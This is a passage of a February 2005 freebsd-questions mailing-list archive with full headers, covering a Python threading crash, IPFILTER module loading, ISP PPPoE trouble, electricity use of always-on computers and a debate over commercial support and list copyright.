+0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4451143D3F for ; Mon, 7 Feb 2005 19:20:50 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id A171D514FE; Mon, 7 Feb 2005 11:20:49 -0800 (PST) Date: Mon, 7 Feb 2005 11:20:49 -0800 From: Kris Kennaway To: Payment Online Message-ID: <20050207192049.GD3160@xor.obsecurity.org> References: <21fe04a805020711141369e96d@mail.gmail.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jCrbxBqMcLqd4mOl" Content-Disposition: inline In-Reply-To: <21fe04a805020711141369e96d@mail.gmail.com> User-Agent: Mutt/1.4.2.1i cc: FreeBSD Questions Subject: Re: Python with threading core dumps on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:20:50 -0000 --jCrbxBqMcLqd4mOl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Feb 07, 2005 at 11:14:36AM -0800, Payment Online wrote: > I am consistantly getting seg faults and bus errors when running a > multi threaded python application under 5.3-release-p2. Python was > built from the port(python 2.4) with threading enabled. Rebuilding > with the huge stack size option enabled didn't make a difference. The > application uses twisted (www.twistedmatrix.com) and it runs fine > until I put it under a bit of a load and have 20-30 simultaneous > threads running. Then it core dumps. Following is the backtrace from > the core file. The backtrace is always the same. Are threads just > generally problematic on Freebsd? You'll need to recompile with debugging symbols in order to get a useful trace. The python maintainer might be able to talk you through this. Kris > #0 0x2823cdbb in pthread_testcancel () from /usr/lib/libpthread.so.1 > #1 0x28234b06 in pthread_mutexattr_init () from /usr/lib/libpthread.so.1 > #2 0x00000000 in ?? () --jCrbxBqMcLqd4mOl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB7+RWry0BWjoQKURAuaaAJ4gcjcWRae1Ru1rHIxOGUZUqHMAaQCgp4Tk gEe9OGY7gz5LpoLy0qXg4e8= =Lja7 -----END PGP SIGNATURE----- --jCrbxBqMcLqd4mOl-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:22:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4A01116A4CE for ; Mon, 7 Feb 2005 19:22:16 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id E11C343D4C for ; Mon, 7 Feb 2005 19:22:15 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 3655851432; Mon, 7 Feb 2005 11:22:15 -0800 (PST) Date: Mon, 7 Feb 2005 11:22:15 -0800 From: Kris Kennaway To: Bob Johnson Message-ID: <20050207192215.GE3160@xor.obsecurity.org> References: <42079270.1000905@eng.ufl.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ytoMbUMiTKPMT3hY" Content-Disposition: inline In-Reply-To: <42079270.1000905@eng.ufl.edu> User-Agent: Mutt/1.4.2.1i cc: questions@freebsd.org Subject: Re: Should nwfs and ncp* be working in 5.3R? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:22:16 -0000 --ytoMbUMiTKPMT3hY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 11:08:16AM -0500, Bob Johnson wrote: > I'm trying to use nwfs and the ncp- utilities and when I do I get a=20 > kernel panic (at the moment I forget which one). Should they be working= =20 > in 5.3R? ISTR there were bugs in 5.3-R that were fixed in 5.3-STABLE (these systems are not widely used, and it seems that none of the users tested them during the prerelease period). Try updating. Kris --ytoMbUMiTKPMT3hY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB7/mWry0BWjoQKURAke6AKCmyTNdQNIAccO3ap6eTCRi9qnZHwCg+H3w HuZc6o+IRR5Yvn2rmbIpiXg= =0FR9 -----END PGP SIGNATURE----- --ytoMbUMiTKPMT3hY-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:23:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B9C916A4CE for ; Mon, 7 Feb 2005 19:23:10 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2FFC43D5A for ; Mon, 7 Feb 2005 19:23:09 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id E03F11C00138 for ; Mon, 7 Feb 2005 20:23:08 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id B6F2A1C0012B for ; Mon, 7 Feb 2005 20:23:08 +0100 (CET) X-ME-UUID: 20050207192308749.B6F2A1C0012B@mwinf0908.wanadoo.fr Date: Mon, 7 Feb 2005 20:22:55 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <858264590.20050207202255@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050207171702.GP21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> <20050207163645.GK21722@thingy.apana.org.au> <351293826.20050207175318@wanadoo.fr> <20050207171702.GP21722@thingy.apana.org.au> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:23:10 -0000 David Gerard writes: DG> Actually, I most profitably apply it in my day job, which is administering DG> Solaris ;-) The purpose of vendors is to say to your boss that you have an DG> SLA; getting actual *support* out of anyone (with exceptions like NetApp) DG> is something best avoided IME. Sometimes you need support quickly, more quickly than you can manage on your own ... especially for mission-critical servers. That's when a complete formal support structure becomes invaluable. And that's what is missing from most open-source software, including FreeBSD. DG> Corporate arse-covering rather than actual support, but yeah. I am DG> told the horrible tale of a friend who is having to shift a pile of DG> servers from FreeBSD to Red Hat because Red Hat have SLAs and they DG> couldn't find sufficiently corporate-looking support for FreeBSD DG> that did. Exactly. You can run FreeBSD in these environments IF you have highly qualified in-house personnel to maintain it. It doesn't matter how reliable FreeBSD is, you need _someone_ who can fix it in an emergency. And if no such person is available with a phone call outside your organization, you need the expertise in-house. And if you don't have it in-house, you can't use FreeBSD. Linux is only marginally better. You need an external support organization with extremely competent technicians that has agreed to provide you with some specific level of support, such that they risk a lawsuit if they don't cough up when you call. Then you get support. DG> The trick will be to get organisations offering SLAs interested in the DG> program. Even then the fact that it's hard to undercut $0 is a powerful DG> factor in its spread. Getting those organizations interested in open source will effectively negate most of the advantages of open source. You'll be paying someone for your software again, and you'll be dependent on them again, and you'll be using their proprietary solutions ... again. DG> Realistically: a FreeBSD mailing list copyright apocalypse is not DG> likely. True. But it only takes one lawsuit to wipe out the entire project. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:24:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D787116A4D0 for ; Mon, 7 Feb 2005 19:24:23 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7678A43D54 for ; Mon, 7 Feb 2005 19:24:23 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id A7BD71C001C5 for ; Mon, 7 Feb 2005 20:24:22 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id 8D7CD1C001DD for ; Mon, 7 Feb 2005 20:24:22 +0100 (CET) X-ME-UUID: 20050207192422579.8D7CD1C001DD@mwinf0902.wanadoo.fr Date: Mon, 7 Feb 2005 20:24:16 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <506529411.20050207202416@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502070925.02289.krinklyfig@spymac.com> References: <200502061420.24415.krinklyfig@spymac.com> <20050207161015.GH21722@thingy.apana.org.au> <200502070925.02289.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:24:24 -0000 Joshua Tinnin writes: JT> If you want "real" support, that costs money, and it doesn't matter JT> if you're talking about BSD, Linux, Windows, Solaris, etc. Yes, and that's the paradox of open source. There's really no such thing as a free lunch. Even if you know your product inside and out and support it yourself, it still costs you your time, and time is money. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:25:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0C50416A4CE for ; Mon, 7 Feb 2005 19:25:36 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id BC7B943D60 for ; Mon, 7 Feb 2005 19:25:35 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id F363E2400135 for ; Mon, 7 Feb 2005 20:25:34 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id D84A42400134 for ; Mon, 7 Feb 2005 20:25:34 +0100 (CET) X-ME-UUID: 20050207192534886.D84A42400134@mwinf0909.wanadoo.fr Date: Mon, 7 Feb 2005 20:25:34 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1974595386.20050207202534@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502070929.19710.krinklyfig@spymac.com> References: <200502061420.24415.krinklyfig@spymac.com> <1069313008.20050207173736@wanadoo.fr> <200502070929.19710.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:25:36 -0000 Joshua Tinnin writes: JT> Since this is a volunteer organization, and it seems to me that you JT> have the most interest in it, and if you refuse to let this go, then JT> I have a suggestion. Hire a lawyer and write up a legally sound JT> plan, and then submit it. Until then, you're demanding things of JT> people that simply aren't going to happen, just because you demand JT> it. I'm not demanding; I'm warning. And I would volunteer, but I have to dedicate most of my waking hours to paying the rent and groceries. We are not all independently wealthy. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:28:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B607616A4CE for ; Mon, 7 Feb 2005 19:28:17 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3677D43D1D for ; Mon, 7 Feb 2005 19:28:17 +0000 (GMT) (envelope-from snacktime2@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so759166wra for ; Mon, 07 Feb 2005 11:28:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=Ups8MNDeSB70HKwY7vWy2SCNfv4rDjor5wSSW7yZ08xytHmCzBfimXLBUJiaTYFQ3H19Dt3dkOQsziuwOlB5Bq1XX1lJ5Di8C0UbwHYctXXW/sa+weKSAtqEPX8T4GWLanCd+P6UM7WKJ23cLQCSeVQ3rbe+L7H2za6IP7WJbKo= Received: by 10.54.52.5 with SMTP id z5mr47040wrz; Mon, 07 Feb 2005 11:28:12 -0800 (PST) Received: by 10.54.40.24 with HTTP; Mon, 7 Feb 2005 11:28:12 -0800 (PST) Message-ID: <21fe04a805020711287367b99f@mail.gmail.com> Date: Mon, 7 Feb 2005 11:28:12 -0800 From: Payment Online To: FreeBSD-questions In-Reply-To: <20050207192049.GD3160@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <21fe04a805020711141369e96d@mail.gmail.com> <20050207192049.GD3160@xor.obsecurity.org> Subject: Re: Python with threading core dumps on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Payment Online List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:28:17 -0000 > > You'll need to recompile with debugging symbols in order to get a > useful trace. The python maintainer might be able to talk you through > this. Ok I'll do that in a bit and post the results. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:35:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3947416A4DC for ; Mon, 7 Feb 2005 19:35:18 +0000 (GMT) Received: from smtp819.mail.sc5.yahoo.com (smtp819.mail.sc5.yahoo.com [66.163.170.5]) by mx1.FreeBSD.org (Postfix) with SMTP id C0BBD43D48 for ; Mon, 7 Feb 2005 19:35:17 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp819.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 19:35:17 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 11:35:03 -0800 User-Agent: KMail/1.7.2 References: <200502061420.24415.krinklyfig@spymac.com> <1916926078.20050207201710@wanadoo.fr> In-Reply-To: <1916926078.20050207201710@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502071135.03663.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:35:18 -0000 On Monday 07 February 2005 11:17 am, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > > EK> Perhaps they take a greater risk, or perhaps things are simpler > than EK> that. Perhaps, upon submitting something according to the > simple EK> instructions with intent for it to be published, it gets > published EK> as the general populous would expect...Often things are > not EK> complicated. > > You forget the most likely option of all: For years, cyberspace was > dominated by geeks, and ignored by lawyers and the general public. > Now, with the general public and the lawyers watching cyberspace very > closely indeed, it will no longer be possible for the geeks to get > away with doing whatever they want, for better or for worse. > > Greater regulation and legal hassles are the trend for the future. > Pretending it isn't happening will only leave one all the more > vulnerable to it as it arrives. Yes, but waving your hands in the air doesn't solve anything. Moreover, you haven't proven that your issues with the way the list is run is a legal liability. Although anyone can speculate about law, when you're getting into this area, it helps a lot if you're qualified to speak with authority. If it is indeed a liability, you need to do more than posit that it might be, and you should have some examples to back up your assertions. If you're asking FreeBSD to change their mailing list, then you have to present more than a layperson's opinion that there might be a problem, and, really, you should have a solution, otherwise all you're doing is waving your hands. - jt From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:47:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E5CE16A4CE for ; Mon, 7 Feb 2005 19:47:06 +0000 (GMT) Received: from smartwall.thebeaconjournal.com (smartwall.thebeaconjournal.com [67.17.216.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id 500B843D46 for ; Mon, 7 Feb 2005 19:47:05 +0000 (GMT) (envelope-from jim0266@yahoo.com) Received: from bea-trend.thebeaconjournal.com (bea-trend [10.213.0.19]) j17JJ22N001458 for ; Mon, 7 Feb 2005 14:19:04 -0500 (EST) Received: from bea-mx.thebeaconjournal.com ([10.213.0.2]) by Suite; Mon, 07 Feb 2005 15:02:16 -0500 Received: from spike ([10.213.8.154]) by bea-mx.thebeaconjournal.com (Netscape Messaging Server 4.15) with ESMTP id IBK4LZ00.2FU; Mon, 7 Feb 2005 14:53:59 -0500 Received: from [192.168.0.3] (jim [192.168.0.3])by spike (Postfix) with ESMTP id C14E81F37;Mon, 7 Feb 2005 14:46:51 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: <20050207191621.GB3160@xor.obsecurity.org> References: <20050207071352.GA4807@xor.obsecurity.org><20050207191621.GB3160@xor.obsecurity.org> Date: Mon, 7 Feb 2005 14:46:50 -0500 To: "Kris Kennaway" From: Jim Arnold Content-Type: text/plain; charset=us-ascii; format=flowed X-imss-version: 2.012 X-imss-result: Passed X-imss-scores: Clean:99.90000 C:20 M:2 S:5 R:5 X-imss-settings: Baseline:3 C:3 M:3 S:3 R:3 (0.5000 1.5000) cc: freebsd-questions@freebsd.org Subject: Re: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:47:06 -0000 >On Mon, Feb 07, 2005 at 11:08:54AM -0500, Jim Arnold wrote: > >> >If you don't have it in your kernel, the module will be loaded at boot >> >time if it's available. If you don't have the module either, you >> >can't use ipfilter. >> >> I must have been using the module with 4.7 stable since I did not >> have that in the kernel I was running with 4.7. After I upgraded to >> 4.11 and IPF was not working I edited my kernel config file to >> uncomment the lines for IPF and then compiled the new kernel. I still >> don't have an answer why this happened. >> >> Was the module taken out of 4.11 or an earlier version on FreeBSD? > >No, it's still there as long as you build modules. If you have >NO_MODULES in your make.conf, you won't, of course. > >Kris > >Attachment converted: osx:Untitled 3599 ( / ) (000B9F03) I'm using the same /etc/make.conf file when I first put this box online in 2002. In that make.conf file the line is commented out: #NO_MODULES= true # do not build modules with the kernel But the question for me is still, how did this work in 4.7 if the above was commented out in my /etc/make.conf file and I did not have these uncommented in my kernel config file when I built my custom kernel for 4.7? options IPFILTER options IPFILTER_LOG Thanks, Jim From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:57:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EC65C16A4CE for ; Mon, 7 Feb 2005 19:57:17 +0000 (GMT) Received: from out009.verizon.net (out009pub.verizon.net [206.46.170.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6190F43D31 for ; Mon, 7 Feb 2005 19:57:17 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050207195716.OXJN4172.out009.verizon.net@keyslapper.org> for ; Mon, 7 Feb 2005 13:57:16 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 83DD21171C for ; Mon, 7 Feb 2005 14:57:15 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 86684-02 for ; Mon, 7 Feb 2005 14:57:15 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 54C181171A; Mon, 7 Feb 2005 14:57:15 -0500 (EST) Date: Mon, 7 Feb 2005 14:57:15 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050207195715.GE82997@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline In-Reply-To: <20050207091209.D71459@maren.thelosingend.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [68.163.189.143] at Mon, 7 Feb 2005 13:57:16 -0600 Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:57:18 -0000 --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/07/05 09:21 AM, Svein Halvor Halvorsen sat at the `puter and typed: >=20 > * Erik Trulsson [2005-02-05 23:55 +0100] > > Also keep in mind that if you leave the computer running all the time > > it will show up on your electricity bill, so if you wish to save power > > you should shut down your computer over night. >=20 >=20 > Given that your house needs to be warmed up (a presumption I think is=20 > correct for Sweden as you appears to be sending from; it sure does for=20 > Norway, I don't know about the OP), it does not matter where that heat=20 > comes from. If your other heating is termostatically controlled, then=20 > running your computer all night long uses no less electricity than leavin= g=20 > your heating on. Eventually, all those kWhs ends up as heat. You might=20 > just as well use it for something usefull in the way from electric to=20 > thermic energy, and not just send your electrons through an electric=20 > resistance for nothing (except heat-generation)! >=20 >=20 > (Of course this argument is not valid if you need to cool your house, or= =20 > if you use radiators, water-born heating, a wood-burning stove or=20 > something else other than electricity to warm up your house) I'm coming into this thread a bit late, but if you go to http://www.energyfederation.org/consumer/default.php On the left nav frame, go to Products / Meters & Monitors / Electricity Meters / P3 Kill a WATT You'll see a neat little gadget that will tell you exactly what your computers electrical usage is. It should be pretty easy to match up with your electric bill and see what the cost would be. This unit is designed for the US power grid, but I'm sure a little googling will give you an idea what to expect for Europe and other parts of the planet. BTW, I have my primary system up 24/7. My last machine, which was an older Dell Optiplex G1 to begin with, ran almost nonstop for nearly 3 years. Only reboots were for upgrades and loss of power. Other machines are typically delegated to hibernation when not needed. HTH Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Heisenberg may have been here. --NzB8fVQJ5HfG6fxh Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB8gbr4Wi/oDI2aIRAlX7AJ9RcYJLDyw6LXa5pK9gobwegH9mxACgikPv 6TlXTtMTmmOsafVYBQ0wmOE= =fzrv -----END PGP SIGNATURE----- --NzB8fVQJ5HfG6fxh-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 20:06:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71FA916A4CE for ; Mon, 7 Feb 2005 20:06:26 +0000 (GMT) Received: from web30203.mail.mud.yahoo.com (web30203.mail.mud.yahoo.com [68.142.200.86]) by mx1.FreeBSD.org (Postfix) with SMTP id EB3F043D1F for ; Mon, 7 Feb 2005 20:06:25 +0000 (GMT) (envelope-from shawnblan@yahoo.com) Received: (qmail 22501 invoked by uid 60001); 7 Feb 2005 20:06:25 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=YaVHmfhPxAGl6KgnKPTkxfLsLkb8jwq2TlLzVifMK50tihgud2AzidSDnyXBU/bqNx8BrA3wQbTb7JAMzKJsKAJ+CLtdu/2aRwDaAtamb0MvBlAW+Ljhg/c1E/sMkyPp3Vb9O0ypUpOC3S+0Mes6RGWUtB/LPAwpEWU8RTkOMVQ= ; Message-ID: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> Received: from [67.70.196.78] by web30203.mail.mud.yahoo.com via HTTP; Mon, 07 Feb 2005 15:06:25 EST Date: Mon, 7 Feb 2005 15:06:25 -0500 (EST) From: Shawn B To: freebsd-isp@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 20:06:26 -0000 I am fairly new at *nix and FreeBSD. I am attempting to run a privately owned, publically accessible web server from a PC running FreeBSD 4.8. I configured ppp.conf and rc.conf for the *old* ISP settings (the ones that worked a year ago), and now they do now work. I cannot connect the machine to the ISP. Although PPP does enable, I cannot resolve any domains. The ISP is Bell-Sympatico (Canada), and they are completely unwilling to help me, or provide software that will accommodate *nix systems specifically. They do, however, have PPPoE software for Linux. Since I am new to FreeBSD, I do not want to try this software unless I know it will work ok. The software is available here http://service.sympatico.ca/index.cfm?method=content.view&content_id=1138&category_id=99 I have tried every possible option I could conjure-up with no avail. I have even exhaustively searched the FreeBSD Handbook and Man pages on-line, and other resources (such as Google) were no help. I thank you for any help yous' may provide to me. I am running short on time and patience in getting this system on-line. If this should have been send elsewhere, please let me know. ______________________________________________________________________ Post your free ad now! http://personals.yahoo.ca From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 20:30:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5265E16A4CF for ; Mon, 7 Feb 2005 20:30:13 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4014A43D2F for ; Mon, 7 Feb 2005 20:30:09 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so809493rne for ; Mon, 07 Feb 2005 12:30:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=oydrFpjrkeVMJ4LUyTYNxWqHf1Vh0UqC2cfu32QblhDoN1r5Vi4OV67d0DNH7DXgsoxPrkR+Qz7QIwgIK+80Q+7Uz0R08mFAM8uffIw0LANtCsselMKu7bBVLEXjhQ9BcQQQk2mnIWyd5Fjchicpe1fjHLyKO4/stTgPGIdtO3g= Received: by 10.38.149.78 with SMTP id w78mr214719rnd; Mon, 07 Feb 2005 12:30:06 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 12:30:06 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 21:30:06 +0100 From: Gert Cuykens To: "Loren M. Lang" In-Reply-To: <20050207114205.GB8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> <200502070159.40247.danny@ricin.com> <20050207114205.GB8619@alzatex.com> cc: Rob cc: Danny Pansters cc: freebsd-questions@freebsd.org 